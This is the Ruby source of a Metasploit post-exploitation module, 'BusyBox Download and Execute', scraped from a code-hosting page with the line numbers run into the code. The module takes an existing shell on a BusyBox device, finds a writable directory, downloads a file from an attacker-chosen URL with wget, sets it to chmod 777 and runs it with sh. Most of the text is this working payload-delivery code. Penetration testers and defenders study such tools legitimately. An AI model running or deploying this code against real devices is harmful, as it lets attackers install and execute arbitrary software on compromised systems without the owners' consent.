Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/linux/busybox/wget_exec.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Linux::BusyBox89def initialize10super(11'Name' => 'BusyBox Download and Execute',12'Description' => %q{13This module will be applied on a session connected to a BusyBox shell. It will use wget to14download and execute a file from the device running BusyBox.15},16'Author' => 'Javier Vicente Vallejo',17'License' => MSF_LICENSE,18'Platform' => ['linux'],19'SessionTypes' => ['shell']20)2122register_options(23[24OptString.new('URL', [true, 'Full URL of file to download'])25]26)27end2829def run30print_status('Searching a writable directory...')31writable_directory = busy_box_writable_dir32if writable_directory33print_status('Writable directory found, downloading file...')34random_file_path = "#{writable_directory}#{Rex::Text.rand_text_alpha(16)}"35cmd_exec("wget -O #{random_file_path} #{datastore['URL']}")36Rex.sleep(0.1)3738if busy_box_file_exist?(random_file_path)39print_good('File downloaded, executing...')40cmd_exec("chmod 777 #{random_file_path}")41Rex.sleep(0.1)42res = cmd_exec("sh #{random_file_path}")43vprint_status(res)44else45print_error('Unable to download file')46end47else48print_error('Writable directory not found')49end50end51end525354